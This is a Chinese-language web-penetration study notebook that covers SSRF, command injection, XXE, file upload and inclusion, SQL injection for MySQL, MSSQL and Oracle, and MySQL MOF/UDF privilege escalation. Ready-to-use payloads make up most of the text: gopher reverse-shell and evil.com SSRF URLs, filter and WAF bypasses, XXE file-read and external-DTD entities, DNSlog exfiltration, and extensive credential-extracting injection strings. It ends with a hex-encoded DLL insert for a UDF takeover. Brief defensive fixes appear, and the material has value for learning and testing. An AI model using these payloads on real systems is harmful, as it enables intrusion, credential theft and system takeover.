web笔记

CSRF(跨站请求伪造)是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
防御方法
1.只使用json api
2. 验证HTTP Referer字段
3. 在请求地址中添加takon验证
CSRF一般只测试有修改、删除、添加的地方




SSRF(服务端请求伪造)
由攻击者构造的攻击链接传给服务端执行造成的漏洞,这里的关键点是由服务端发起的请求,这里抓包位置为服务端!
危害:
1. 可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
2. 攻击运行在内网或本地的有漏洞程序(比如溢出);
3. 使用file:///协议读取本地文件
4.利用dict协议查看端口开放            http://example.com/ssrf.php?dict://evil.com:1337/
5.利用gopher协议反弹shell              http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc       nc -lp 6666
出现地方
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)  数据库内置功能
7}  邮件系统
解决方法
1.禁止302跳转
2,黑名单白名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
3.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
绕过方法
@
添加端口号
ip地址转换成进制来访问
短地址
利用[::]绕过localhost
利用DNS解析
利用句号代替.



任意文件读取
原因
存读取文件的函数
读取文件的路径用户可控,且未校验或校验不严
输出了文件内容
readfile()、file_get_contents()、fopen()中,$filename没有经过校验或者校验不合格,用户可控制变量读取任意文件,如/etc/passwd、./index.php、/config.ini。

修复
过滤 . 点,使用户在url中不能回溯上级目录
正则严格判断用户输入的参数
 php.ini配置open_basedir限定文件访问范围


命令执行
原因
有对用户输入进行过滤或过滤不严,例如,没有过滤&、&&、|、||等连接符
系统的漏洞造成命令注入
调用的第三方组件存在代码执行漏洞
管道符
&:无论左边是false还是true,右边都执行
&&:具有短路效果,左边是false,右边不执行。
|:无论左边是false还是true,右边都会执行
||:具有短路效果,左边是true,右边不执行。

空格绕过
1.${IFS}                    cat${IFS}flag
2.$IFS$9 $9指传过来的第9个参数        cat$IFS$9flag
3.%09(需要PHP环境,不演示)
4.<或者<>重定向            cat<>flag

黑名单绕过
1.变量拼接           a=c;b=at;c=fl;d=ag;$a$b $c$d     cat flag
2.单引号,双引号绕过        ca''t flag  或者  cat"" flag
3.编码绕过             $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
4.反斜线             c\at fl\ag
5.$1、$2等和$@          c$1at fl$@ag

通配符绕过
?代表一个字符          *代表一串字符
 /???/?[a][t] ?''?''?''?''
/???/?at flag

内敛执行绕过
`命令`和$(命令)都是执行命令的方式
echo "m0re`cat flag`"
echo "m0re $(cat flag)"

编码绕过
使用base64编码进行绕过
`echo "Y2F0IGZsYWc="|base64 -d`

绕过长度限制
使用>命令会将原有文件内容覆盖
>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

命令换行
换行执行命令
桌面$ ca\
> t\
>  fl\
> ag

绕过waf
1.前面使用hex加密  后面解密    txt=$hex='xxxxxxxx';assert(pack("H*",$hex));             其中xxxx为加密后的字符 pack解密
2.替换字符      txt=$y=str_replace('x','','pxphpxinxfo()');assert($y);  或者  
 txt=$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxphpxinxfo()');$xxx($y);
修改请求方式  get post request
http://test.com?x=rt
(POST DATA)
 txt=$x='asse';$xx='$_REQUEST['x']';$xxx=$x.$xx;$y=str_replace('x','','pxphpxinxfo()');$xxx($y);





xxe漏洞全称xml 外部实体注入攻击
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,
造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
1.读取任意文件  file:///D://phpStudy//WWW//aa.txt
2.执行系统命令
3.探测内网端口
4.攻击内网网站
xml主要用于传输信息 html主要用于显示信息   
XXE利用分为两方面:有回显和无回显
一、有回显
(1)直接将外部实体引用的URI设置为敏感目录
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的内容:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
二、无回显
vps构造恶意did文件 (先用file://或php://filter获取目标文件的内容,然后将内容以http请求发送到接收数据的服务器)
vps开启端口监听
攻击机构造payload进行发送
防御
1.禁用外部实体
2.过滤和验证用户提交的xml数据
3.不允许xml中含有任何自己声明的dtd

绕过waf
1.空格绕过  可以在<?xml?>或<!DOCTYPE>中插入数量足够多的空格去绕过WAF的检测。
2.编码绕过  当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过




文件上传漏洞
文件上传过程中检测部分由客户端javascript检测、服务端Content-Type类型检测、服务端path参数检测、服务端文件扩展名检测、服务端内容检测组成。
绕过
客户端检测绕过(js检测) burp修改后缀
服务端MIME检测绕过(Content-Type检测),修改Content-Type的参数
服务端扩展名检测绕过:大小写;双写;截断字符%00截断;特殊文件名绕过;后缀名添加空格绕过;后缀名添加点绕过;后缀名添加点空格点绕过;;::$DATA绕过 ;
可以利用解析/包含漏洞配合上传一个代码注入过的白名单文件绕过如.htacess
服务端内容检测绕过:如GIF89A
apache解析漏洞:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
IIS解析漏洞:
IIS6.0有两个解析漏洞,一个是如果目录名包. asp 、.asa、.cer字符串,那么这个目录下所有的文 件都会按照 asp 去解析。 另一个是只要文件名中含有.asp、.asa、.cer会优先按 asp 来解析  如test.asp;1.jpg
IIS7.0/7.5开启了 cgi是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;1.jpg/1.php 时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
nginx解析漏洞:一个是对任意文件名,在后面 添加/任意文件名.php的解析漏洞,一种是对Nginx <8.03 空字节代码执行漏洞的 Nginx 可以在任意文件名后面添加 %00.php

绕过waf
修改filename的位置
一、大量垃圾数据缓存溢出
1.将filename="1.php"写到Content-Disposition: form-data; name="file";并填入垃圾数据,当数据足够多 例如Content-Disposition: form-data;大量垃圾数据 ;name="file";filename="1php"
二、符号变异
修改Content-Disposition: form-data;name="file" ;filename="1php" 的双引号为 filename="1.php或者filename="adadadad"1.php
三、数据截断
(1)使用;加 .     Content-Disposition: form-data;name="file" ;filename="1.jpg;.php"
(2)  换行
Content-Disposition: form-data;name="file" ;filename="1.p
h
p"
四、重复数据
(1)Content-Disposition: form-data;name="file" ;filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";filename="1.jpg";
(2)Content-Disposition: form-data;name="file" ;filename="Content-Disposition: form-data;name="file""1.php"
(3)Content-Disposition: form-data;name="file" ;filename="Content-Type: image/jpeg;1.php"
(4)/绕过  Content-Disposition: form-data;name="file" ;filename="/jpeg;/1.php"




文件包含漏洞(通常在php中)
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了非预期的代码。
include( ) 、 include_once( ) 、 require( ) 、 require_once( )
远程文件包含,当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话,则包含、
file://:用于访问本地文件系统
php://:访问各个输入输出流
zip://,bzip://,zlib://:均属于压缩流,可以访问压缩文件中的子文件,不需要传后缀名
data://
phar://:数据流包装器
绕过
(1)长目录截断     payload后一直加.或者一直加./   或者使用URL编码绕过“.”–>%2E,“/”–>%2F
(2)%00截断
    条件
    magic_quotes_gpc=off    php<5.3.4
(3)大小写
(4)问号截断

危害
本地文件包含
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
远程文件包含:可以直接执行任意代码

修复
开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
关闭allow_url_include函数,防止远程文件包含。
尽量不使用动态包含
严格检查include类的文件包含函数中的参数是否外界可控。

sql注入
要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。

布尔注入
布尔型注入是在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。当查询结果不为空时,返回True,相反返回False。
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+  再用  and substr(database(),2,1)='t' 代表当前数据库的第二个字母

报错注入
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
updatexml():mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():mysql对xml文档数据进行查询的xpath函数
floor():mysql中用来取整的函数
exp():此函数返回e(自然对数的底)指数X的幂值
and updatexml(1,concat(0x7e,(select database()),0x7e),1)

联合注入
and 1=2 union select 1,database(),3,4,5//查询当前数据库
and 1=2 union select 1,database(),version(),4,5//查询当前数据库及版本
and 1=2 union select 1,database(),table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1//爆表名

时间盲注
无论输入的语句是对还是错,都只返回一种页面。此时我们只能用sleep()来判断注入点。
延时注入就是在盲注的基础上增加了两个函数:if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句sleep():休眠多少秒
' and if(length(database())>8,1,sleep(5))-- qwe数据库长度大于8时延时了5秒,数据库名是长度为8的字符串。
if(substr(database(),1,1)='s',sleep(5),1)

堆查询注入
可以同时执行多条语句的执行时的注入。
;select if(length(database())>1,sleep(3),1)
;select if(substr(database(),1,1)='r',sleep(3),1)

二次注入攻击
例如注册admin'#的账户
就相当于url是一个用户注册的地方,用户注册后会在数据库里面加入新id存放用户的注册信息,那么这个id可以传给url二来访问,url二就可以显示出用户的注册信息,但如果注册信息含义恶意sql语句,url二就会显示出敏感的数据库信息;

宽字节注入
如果遇到单、双引号被转义,变成了反斜杠,导致参数id无法逃逸单引号的包围;
但是如果数据库的编码为GBK时,就可以使用宽字节注入,因此在不知道是否是GBK编码时,都可以尝试去使用宽字节注入;
宽字节的格式是在地址后先加一个  %df  ,再加单引号,因为反斜杠的编码为%5c,在GBK编码中,%df%5c是繁体字“連”,因此,单引号成功逃逸,爆出sql错误
因此构造闭合规则时,在单引号前面加上  %df 就行了

cookie注入
第一步:去掉参数,看是否报错?
www.xxxxxx.com/Newsshow.asp? (结果报错,报错就对了。)
第二步:清空url栏,并在浏览器加入以下js语句:(这里的url栏是指:www.xxxxxx.com/Newsshow.asp? )
javascript:alert(document.cookie="id="+escape("212"));
回车,这里会弹窗id=212;以后自己想去SQL注入,js里面的参数可以自行修改的。
第三步:刷新不含参数的网页,返回正常。
www.xxxxxx.com/Newsshow.asp? (返回正常。说明已经可以用cookie注入了)
第四步:确保100%能cookie注入数据库
按照以上方式,在浏览器输入以下js语句:
javascript:alert(document.cookie="id="+escape("212 and 1=1"));
再访问:www.xxxxxx.com/Newsshow.asp? (返回正常)
再输入:
javascript:alert(document.cookie="id="+escape("212 and 1=2"));
再访问:www.xxxxxx.com/Newsshow.asp? (返回错误,说明100%存在cookie注入)


dnslog注入原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志
通过DNSlog注入需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
当secure_file_priv为空,就可以读取写入磁盘的目录。
当secure_file_priv为G:\,指定文件夹就可以对该文件夹读取写入,就可以读取G盘的文件。
当secure_file_priv为null,表示不允许读取写入,load_file就不能加载文件。
and(SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc')))这里加上1.txt是因为有防火墙,利用它的特性绕过。

 

mysql
联合注入
判断注入
'||1/1||'
'||1/0||'
'|+|1/1|+|'
'|+|1/0|+|'
1、判断回显 id=1' order by 4 --+ id=-1' union select 1,2,3,4 --+ 2、判断数据库 id=-1' union select 1,database(),3,4 --+ 3、获取表名(因为字符型sql注入的原因,需要将数据库名转为16进,前面加0x) id=-1' union select 1,table_name,3,4 from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 limit 0,1 --+ ?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --+ 4、获取字段名 id=-1' union select 1,column_name,3,4%20 from information_schema.columns where table_name=0x6e6f74696365 limit 1,1 --+ id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘stormgroup_member’),3,4 --+ 5、获取数据 id=-1' union select 1,(select group_concat(password) from stormgroup_member),3,4 --+ 报错注入 1、用户 id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ 2、数据库 id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 3、表 id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+ id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1) --+ 4、字段 id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = '数据库' and table_name = ''),0x7e),1) --+ id= 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member' limit 0,1),0x7e),1 )--+ 5、数据 id=1' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1) --+ 布尔注入 1、数据库 id=1 and length(database())>=8 id=1 and ascii(substr((select database()),1,1))<115 id=1 and substr(database(),1,1)='b' --+ 2、表 ?id=1 and substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1))='m' --+ 3、字段 id=1 and length((select column_name from information_schema.columns where table_name='' and table_schema='数据库' limit 0,1))=4 --+ id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109 --+ id=1 and substr((select column_name from information_schema.columns where table_name="member" limit 0,1),1,1) ='n' --+ 4、数据 id=1 and length((select concat(name) from stormgroup.member limit 1,1))=5 --+ id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109 --+ 延时注入 1、判断存在注入 id=1 and sleep(5)' id=1 and if(ascii(substr(database(),1,1))=114,1,sleep(5))' id=1 and if(1=0,1,sleep(10)) --+ 2、数据库 id=1 and if(length(database())=12,sleep(5),1) --+ id=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+ id=1 and If(ord(substr(database(),1,1))=116,1,sleep(3)) --+ 2、表 id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --+ id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --+ 数据库第三个表第一个字符 id=1 and If(ord(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))=116,1,sleep(3)) --+ id=1 and If(ord(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),2,1))=95,1,sleep(3)) --+ 3、字段 id=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1) --+ id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(4),1) --+ id=1 and If(ord(substr((select column_name from information_schema.columns where table_name='testbiao' limit 1,1),1,1))=110,1,sleep(3)) --+ id=1 and If(ord(substr((select column_name from information_schema.columns where table_name='testbiao' limit 1,1),2,1))=97,1,sleep(3)) --+ id=1 and If(ord(substr((select column_name from information_schema.columns where table_name='testbiao' limit 2,1),1,1))=112,1,sleep(3)) --+ 4、数据 id=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1) --+ id=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1) --+ id=1 and if(ascii(substr((select flag from flag limit 0,1),6))=49,sleep(4),1) --+ id=1 and If(ord(substr((select name from t_user limit 0,1),1,1))=97,1,sleep(3)) --+ id=1 and If(ord(substr((select name from t_user limit 0,1),2,1))=100,1,sleep(3)) --+ id=1 and If(ord(substr((select pass from t_user limit 0,1),1,1))=49,1,sleep(3)) --+
sqlserver
mssql数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,使用<>或not in 来排除已经显示的数据,获取下一条数据。
但是与Oracle数据库不同的是使用not in的时候后面需要带上(''),类似数组,也就是不需要输入多个not in来获取数据
判断是否为mssql数据库
http://www.test.com/news.jspid=1 and (select count(*) from sysobjects)>0
http://www.test.com/news.jspid=1;WAITFOR DELAY '00:00:10'; -- asd  页面延时返回即表示为MSSQL数据库。

联合注入
判断列数
id=2 order by 3
判断是否是系统管理员
id=2 and 1=(select is_srvrolemember('sysadmin'))
判断是否是库权限
id=2 and 1=(select is_srvrolemember('db_owner'))
判断是否为public权限
id=2 and 1=(select is_srvrolemember('public'))
在第四个的时候页面显示正常,说明字段为4
id=-2 union all select null,null,null,null--
判断显示位
id=-2 union all select '1','2','3','4'--
获取当前的数据库版本
id=-2 union all select 0,'1',(select @@version),null --+
获取当前用户
id=-2 union all select null,'1',(select user),null --+
获取数据库
id=-2 union all select 1,'2',db_name(),4 --+
id=-2 union all select 1,'2',db_name(1),4 --+
id=-2 union all select 1,'2',db_name(2),4 --+
获取当前数据库的表
查询dbo.sysobjects表中用户创建的表,获取其对应的id和name
id=-2 union all select null,id,name,null from dbo.sysobjects where xtype='U' --+   (得到id为5575058、 name为manage)
#使用<>获取下一条数据
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <> 5575058 --+
#使用not in获取下一条数据
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058') --+
其中xtype = 'U'代表指定显示用户创建的表;
top 1代表只显示第一列数据,如果想显示更多数据在后面加and name != '第一次输出中的表名'
查看对应表有哪些列
id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058'--+
id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')--+
id=-1 union all select top 1 null,name,null from db_name() where id = object_id('users')
id=-1 union all select top 1 null,name,null from test.sys.syscolumns where id = object_id('users') and name !=‘id’ and name !='...'
查看账号密码信息
id=-2 union all select top 1 null,username,password,null from manage--+
id=-2 union all select top 1 null,username,password,null from manage where username <> 'admin_mz'--+
id=-2 union all select top 1 null,username,password from manage where username !='admin_mz'  --+

延时
判断注入
id=1 waitfor delay '0:0:5'
SUBSTRING 截取
id=2 if (substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m') WAITFOR DELAY '0:0:5' --+
id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'
id=1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'
ascii码半截法  1-126 遍历
id=2 if (ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5' --+
id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5' --
id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'--
查询password 的第一个密文的ascii码
id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'
id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'--

布尔注入
数据库长度
id=2 and len((select top 1 db_name()))=11
id=2 and ascii(substring((select top 1 db_name()),1,1))=109
id=2 and ascii(substring((select top 1 db_name()),2,1))=111
id=21' and  (select ascii(substring((select version()),1,1))=53) %23
id=21' and  (select ascii(substring((select database()),1,1))=119) %23
id=21' and  (select ascii(substring((select user()),1,1))=119) %23
查询表
id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m'
id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,6)='manage'
获取所有的数据库名
http://www.test.com/wexpage.phpid=21' and (select ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))=105) %23
获取第二个数据库名的第一位字符
http://www.test.com/wexpage.phpid=21' and (select ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))=119) %23
获取wexnepal_2012库中的所有表名   (0x7765786e6570616c5f32303132为0x+数据库wexnepal_2012的hex编码)
http://www.test.com/wexpage.phpid=21' and (select ascii(substring((select table_name from information_schema.tables where table_schema=0x7765786e6570616c5f32303132 limit 0,1),1,1))=116) %23
获取字段名(0x74626c5f61646d696e5f75736572为0x+表tbl_admin_user的hex编码)
http://www.test.com/wexpage.phpid=21' and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23
获取数据  获取’admin_username’ admin_password’
http://www.test.com/wexpage.phpid=21' and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23
http://www.test.com/wexpage.phpid=21' and (select ascii(substring((select admin_password from tbl_admin_user limit 0,1),1,1))=49) %23

报错
获取当前的数据库
id=1 and 1=convert(int,(select top 1 db_name()))
获取当前数据库的表            top 1代表只显示第一列数据    xtype = 'U'代表指定显示用户创建的表 
id=1 and 1= convert(int,(select top 1 name FROM text.sys.sysobjects where xtype = 'U'))
id=1 and 1= convert(int,(select top 1 name FROM text.sys.sysobjects where xtype = 'U' and name != 'users' and name != '第二次输出中的表名'))
获取当前数据库的表下的字段
id=1 and 1= convert(int,(Select top 1 name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('第一次输出中的表名') and name != '第二次输出中的表名'))
id=1 and 1= convert(int,(Select top 1 name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('数据库.dbo.表名') and name != '数据库.dbo.第二次输出中的表名'))
或者
显示系统信息
id=1 and @@version>0
爆出数据库
id=-1 and db_name()>0
当前用户 dbo
id=-1 and User_Name()>0
爆出其他数据库
id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('mstddb'))>0
id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('mstddb','mstddb2','mstddb3','mstddb4'))>0
爆表
id=-1 and (select top 1 name from [mydb].sys.all_objects where type='U' AND is_ms_shipped=0)>0
id=-1 and (select top 1 name from mydb.sys.all_objects where type='U'  AND is_ms_shipped=0 and name not in ('admin'))>0
爆出列
id=1 and  (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID'))>0
id=1 and  (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID','ID2'))>0
爆出数据
id=1 and (select top 1 password from admin)>0
id=1 and (select top 1 username from admin)>0
oracle 联合注入
1、判断注入点
and 1=1 正常,and 1=2 错误
2、判断数据库类型
and (select count (*) from dual)>0
3、判断列数order by
id=1 order by 4 --+
4、判断回显
id=-1 union select null,null,null,null,null,null,null from dual
5、根据显示位,查看数据库版本信息及当前数据库
id=-1 union all select (select banner from sys.v_$version where rownum=1),null from dual --+
id=-1 union all select (SELECT name FROM v$database),null from dual --+
6、查看当前用户
id=-1 union all select (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),null from dual --+
7、查看数据库名
id=-1 union all select (select owner from all_tables where rownum=1),null from dual  --+
id=-1 union all select (select owner from all_tables where rownum=1 and owner <>'SYS' ),null from dual --+
id=-1 union all select (select owner from all_tables where rownum=1 and owner <>'SYS' and owner <>'OUTLN' ),null from dual --+
8、查看表(表大写)
id=1 and (select count(*) from admin)<>0返回正常。说明存在admin表
id=-1 union all select TABLE_NAME,null from USER_TABLES --+  查表
id=-1 union select (select table_name from user_tables where rownum=1),null from dual --+  查用户创建表
id=-1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'null' from dual --+ (查找存在users字样的表名)
9、跑列
id=-1 union select (select column_name from user_tab_columns where table_name='sns_users' and rownum=1),null from dual --+ (表sns_users的第一个列)
id=-1 union select (select column_name from user_tab_columns where table_name='sns_users' and column_name<>'USER_NAME' and rownum=1),null from dual --+ (表sns_users的第二个列)
id=-1 union select (select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1),null from dual --+ (表sns_users的第三个列)
id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual --+(使用not in10、跑数据
id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
id=-1 union select (SELECT CONCAT(user_name,user_pwdD) FROM sns_users),null from SYS --+

报错注入
#ctxsys.drithsx.sn()进行报错注入
1、数据库版本
id=-1 and 1=ctxsys.drithsx.sn(1,(select * from v$version where rownum=1)) --+
2、查询库名
id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --+
3、查询表名
id=-1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) --+
id=-1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN')) --+
id=-1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name != 'NEWS')) --+
4、查询字段
id=-1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN')) --+
id=-1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name != 'UNAME')) --+
5、查询数据
id=-1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where rownum=1)) --+
其他的参数略

布尔注入
判断注入
'||1/1||' '||1/0||'
爆破
'||1/(CASE WHEN substr(user,1,1)='S' THEN 1 ELSE 0 END)||'
1、判断用户是否为SYSTEM id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --+ 2、查询用户 爆破字典(abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.) id=1 and 5=(select length(user) from dual) --+ id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --+ id=1 and 1=(select decode(substr(user,2,1),'Y',1,0) from dual) --+ 3、获取数据库长度 id=1 and 5=(select length(user) from dual) --+ 4、获取数据长度 id=1 and 37=(select length(username||password) from admin) --+ 猜解ascii码 id=1 and (select ascii(substr(username||password,1,1)) from admin)=97 -- 5、获取admin表账户和密码 id=1 and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual) --+ and (select ascii(substr(username,1,1)) from admin)=97 select utl_inaddr.get_host_address((select user from dual)||'www.dns.com') from dual)is not null-- 站库分离dns传 instr函数,从一个字符串中查找指定子串的位置 id=1 and 1=(instr((select user from dual),'SYS')) --+ 延时注入 1、判断注入点 id=1 and 1=dbms_pipe.receive_message('RDS', 3) --+ 延时3秒返回,即存在注入。 id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --+ 延时5秒

 

 

 


判断数据库
1 .net对应sql server
2 php对应mysql
3 asp对应sql server  access
4 java 对应 mysql oracle
5 python对应mongdb 27017
端口判定
1433 sqlserver
1521 oracle
3306 mysql
Access数据库属于文件型数据库,所以不存在端口号。
基于函数判定len和length
在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。
根据报错方式和字符串处理类型判断

Mof提权windows
必须要有导出权限
mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,它的作用是每隔5秒,就会去监控进程的创建和死亡。
mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。
这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。
将mof文件上传到任意可读写目录下,然后使用sql语句将系统默认的nullevt.mof替换掉,进而让系统执行恶意的mof文件(例如创建账户)
(若数据库没有开启外联,则使用sql语句开启外联,启动root)

Udf提权
必须要有导出权限,且用户必须root权限
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。
通过上传可以调用系统命令的Dll扩展,然后设置好自定义函数,然后使用函数执行命令。
如果mysql版本>5.1,udf.dll文件必须放置在mysql安装目录下的lib\plugin\
如果mysql版本小于等于5.1,udf.dll文件放在system32目录下
sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择。需要创建 udf 中存在的函数,例如sys_eval,然后执行命令
手工
1.先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续提权
2.查看系统架构以及plugin目录,可以去kali中 /usr/share/metasploit-framework/data/exploits/mysql/ 目录下载64或者32位的 .dll 文件
    show variables like '%compile%';             #查看主机版本及架构
    show variables like 'plugin%';               #查看 plugin 目录
3.将dll文件写入plugin目录,并且创建函数(创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据)
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
